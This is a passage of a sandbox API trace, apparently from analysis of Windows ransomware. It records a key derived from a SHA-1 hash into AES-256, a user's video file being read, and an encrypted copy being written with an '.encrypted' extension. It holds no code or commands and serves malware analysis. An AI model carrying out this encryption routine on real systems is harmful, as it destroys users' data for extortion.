lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.458] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.458] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.458] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.458] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.458] CryptCreateHash (in: hProv=0xe8f4199650, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.458] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.458] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.459] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.459] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.459] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.459] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418bae0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.459] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.459] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.459] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.459] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.459] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.459] CryptDeriveKey (in: hProv=0xe8f4199650, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0029.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.459] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.459] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.459] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.459] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0029.460] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.461] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.461] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.461] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.461] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.461] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\LeqeD7m6.flv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\leqed7m6.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.461] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.461] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.461] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.461] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.461] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.465] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf")) returned 0x10 [0029.465] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\LeqeD7m6.encrypted.flv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\leqed7m6.encrypted.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.465] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.465] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.465] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.465] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.467] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.467] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0029.468] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x7a8b, lpOverlapped=0x0) returned 1 [0029.468] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.471] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.471] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.471] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.471] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.472] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.472] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.472] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.472] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.472] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.473] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.473] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.473] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.473] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.473] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.473] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f40649c0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649c0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.473] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.473] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.474] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.474] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.474] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.474] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.474] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.477] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.477] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x17a8b, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x17a90) returned 1 [0029.477] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.477] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.477] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.478] CharLowerBuffW (in: lpsz="byte[96913]", cchLength=0xb | out: lpsz="byte[96913]") returned 0xb [0029.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.509] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.509] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.509] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.510] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.510] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x17a8b, dwBufLen=0x17a90 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x17a90) returned 1 [0029.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.510] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.510] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.510] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.510] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.510] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.510] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.510] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.510] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.510] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.510] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.515] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.515] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.515] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.517] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.517] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.517] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.517] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.517] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.517] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.517] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.517] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0029.517] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.517] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 